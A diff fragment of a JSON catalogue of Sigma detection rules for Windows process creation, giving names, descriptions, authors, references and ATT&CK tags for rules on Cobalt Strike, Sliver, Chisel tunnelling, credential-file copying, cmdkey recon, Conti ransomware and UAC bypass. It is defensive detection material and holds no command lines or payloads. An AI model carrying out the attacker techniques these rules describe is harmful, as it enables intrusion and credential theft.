"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ] + }, + "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248", + "value": "Bitsadmin Download to Uncommon Target Folder" + }, + { + "description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_bootconf_mod.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2", + "value": "Modification of Boot Configuration" + }, + { + "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", + "meta": { + "author": "pH-T, Nasreddine Bencherchali (update)", + "creation_date": "2022/07/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_browser_remote_debugging.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", + "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browser_remote_debugging.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1185" + ] + }, + "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", + "value": "Browser Started with Remote Debugging" + }, + { + "description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", + "meta": { + "author": "Markus Neis, Florian Roth", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_bypass_squiblytwo.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://twitter.com/mattifestation/status/986280382042595328", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1047", + "attack.t1220", + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea", + "value": "SquiblyTwo Execution" + }, + { + "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", + "meta": { + "author": "Nasreddine Bencherchali, Florian Roth", + "creation_date": "2022/08/25", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_c2_sliver.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "42333b2c-b425-441c-b70e-99404a17170f", + "value": "Sliver C2 Implant Activity Pattern" + }, + { + "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", + "meta": { + "author": "Alfie Champion (ajpc500)", + "creation_date": "2021/06/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_c3_load_by_rundll32.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f", + "value": "F-Secure C3 Load by Rundll32" + }, + { + "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_certoc_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", + "value": "Suspicious Load DLL via CertOC.exe" + }, + { + "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_certutil_ntlm_coercion.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/issues/243", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916", + "value": "NTLM Coercion Via Certutil.exe" + }, + { + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Admin activity" + ], + "filename": "proc_creation_win_change_default_file_association.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.001" + ] + }, + "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061", + "value": "Change Default File Association" + }, + { + "description": "Detects when a program changes the default file association of any extension to an executable", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_change_default_file_assoc_susp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_assoc_susp.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.001" + ] + }, + "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89", + "value": "Change Default File Association To Executable" + }, + { + "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/13", + "falsepositive": [ + "Some false positives may occure with other tools with similar commandlines" + ], + "filename": "proc_creation_win_chisel_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/jpillora/chisel/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.001" + ] + }, + "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5", + "value": "Chisel Tunneling Tool Usage" + }, + { + "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", + "meta": { + "author": "Aedan Russell, frack113 (sigma)", + "creation_date": "2022/06/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_chrome_load_extension.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/chromeloader/", + "https://emkc.org/s/RJjuLa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chrome_load_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1176" + ] + }, + "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", + "value": "Powershell ChromeLoader Browser Hijacker" + }, + { + "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", + "meta": { + "author": "Nasreddine Bencherchali @nas_bench", + "creation_date": "2021/12/18", + "falsepositive": [ + "Legitimate administrative use (Should be investigated either way)" + ], + "filename": "proc_creation_win_cleanwipe.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cleanwipe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100", + "value": "CleanWipe Usage" + }, + { + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_clip.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ] + }, + "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be", + "value": "Use of CLIP" + }, + { + "description": "Detects usage of cmdkey to look for cached credentials", + "meta": { + "author": "jmallette, Florian Roth, Nasreddine Bencherchali (update)", + "creation_date": "2019/01/16", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "filename": "proc_creation_win_cmdkey_recon.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", + "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.005" + ] + }, + "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53", + "value": "Cmdkey Cached Credentials Recon" + }, + { + "description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/15", + "falsepositive": [ + "Legitimate scripts" + ], + "filename": "proc_creation_win_cmd_delete.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3", + "value": "Windows Cmd Delete File" + }, + { + "description": "Detects possible payload obfuscation via the commandline", + "meta": { + "author": "frack113", + "creation_date": "2022/02/15", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_cmd_dosfuscation.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51", + "value": "Suspicious Dosfuscation Character in Commandline" + }, + { + "description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_cmd_read_contents.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "00a4bacd-6db4-46d5-9258-a7d5ebff4003", + "value": "Read and Execute a File Via Cmd.exe" + }, + { + "description": "Use \">\" to redicrect information in commandline", + "meta": { + "author": "frack113", + "creation_date": "2022/01/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_cmd_redirect.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://ss64.com/nt/syntax-redirection.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a", + "value": "Redirect Output in CommandLine" + }, + { + "description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicious location", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Legitimate admin scripts" + ], + "filename": "proc_creation_win_cmd_redirection_susp_folder.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892", + "value": "Suspicious CMD Shell Redirect" + }, + { + "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", + "meta": { + "author": "Nik Seetharaman, Christian Burkard", + "creation_date": "2019/07/31", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "filename": "proc_creation_win_cmstp_com_object_access.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://twitter.com/hFireF0X/status/897640081053364225", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ] + }, + "uuid": "4b60e6f2-bf39-47b4-b4ea-398e33cfe253", + "value": "CMSTP UAC Bypass via COM Object Access" + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "meta": { + "author": "Nik Seetharaman", + "creation_date": "2018/07/16", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "filename": "proc_creation_win_cmstp_execution_by_creation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ] + }, + "uuid": "7d4cdc5a-0076-40ca-aac8-f7e714570e47", + "value": "CMSTP Execution Process Creation" + }, + { + "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", + "meta": { + "author": "_pete_0, TheDFIRReport", + "creation_date": "2022/05/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_cobaltstrike_bloopers_cmd.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729", + "value": "Operator Bloopers Cobalt Strike Commands" + }, + { + "description": "Detects use of Cobalt Strike module commands accidentally entered in the CMD shell", + "meta": { + "author": "_pete_0, TheDFIRReport", + "creation_date": "2022/05/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_cobaltstrike_bloopers_modules.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", + "value": "Operator Bloopers Cobalt Strike Modules" + }, + { + "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", + "meta": { + "author": "Wojciech Lesicki", + "creation_date": "2021/06/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_cobaltstrike_load_by_rundll32.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.cobaltstrike.com/help-windows-executable", + "https://redcanary.com/threat-detection-report/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529", + "value": "CobaltStrike Load by Rundll32" + }, + { + "description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/27", + "falsepositive": [ + "Other programs that cause these patterns (please report)" + ], + "filename": "proc_creation_win_cobaltstrike_process_patterns.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_process_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "f35c5d71-b489-4e22-a115-f003df287317", + "value": "CobaltStrike Process Patterns" + }, + { + "description": "detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking", + "meta": { + "author": "xknow @xknow_infosec, Tim Shelton", + "creation_date": "2020/06/11", + "falsepositive": [ + "(not much) some benign Java tools may product false-positive commandlines for loading libraries" + ], + "filename": "proc_creation_win_commandline_path_traversal.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", + "https://twitter.com/Oddvarmoe/status/1270633613449723905", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1", + "value": "Cmd.exe CommandLine Path Traversal" + }, + { + "description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/10/26", + "falsepositive": [ + "Google Drive", + "Citrix" + ], + "filename": "proc_creation_win_commandline_path_traversal_evasion.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/hexacorn/status/1448037865435320323", + "https://twitter.com/Gal_B1t/status/1062971006078345217", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", + "value": "Command Line Path Traversal Evasion" + }, + { + "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/11/10", + "falsepositive": [ + "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" + ], + "filename": "proc_creation_win_computer_discovery_get_adcomputer.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "435e10e4-992a-4281-96f3-38b11106adde", + "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet" + }, + { + "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_conhost_path_traversal.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39", + "value": "Conhost.exe CommandLine Path Traversal" + }, + { + "description": "Conti ransomware command line ioc", + "meta": { + "author": "frack113", + "creation_date": "2021/10/12", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_conti_cmd_ransomware.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.s0575", + "attack.t1486" + ] + }, + "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", + "value": "Conti Ransomware Execution" + }, + { + "description": "Detects a command used by conti to dump database", + "meta": { + "author": "frack113", + "creation_date": "2021/08/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_conti_sqlcmd.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ] + }, + "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", + "value": "Conti Backup Database" + }, + { + "description": "Detects the malicious use of a control panel item", + "meta": { + "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", + "creation_date": "2020/06/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_control_panel_item.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1196/", + "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218.002", + "attack.persistence", + "attack.t1546" + ] + }, + "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4", + "value": "Control Panel Items" + }, + { + "description": "Files with well-known filenames (sensitive files with credential data) copying", + "meta": { + "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator" + ], + "filename": "proc_creation_win_copying_sensitive_files_with_credential_data.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copying_sensitive_files_with_credential_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003", + "car.2013-07-001", + "attack.s0404" + ] + }, + "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f", + "value": "Copying Sensitive Files with Credential Data" + }, + { + "description": "Detects usage of the copy command to copy files with the .dmp extensions from a remote share", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_copy_dmp_from_share.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_dmp_from_share.yml" + ], + "tags": [ + "attack.credential_access" + ] + }, + "uuid": "044ba588-dff4-4918-9808-3f95e8160606", + "value": "Copy DMP Files From Share" + }, + { + "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_crackmapexec_patterns.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crackmapexec_patterns.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6", + "value": "CrackMapExec Process Patterns" + }, + { + "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag or a renamed execution of the tool", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2021/07/12", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_creation_mavinject_process_injection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", + 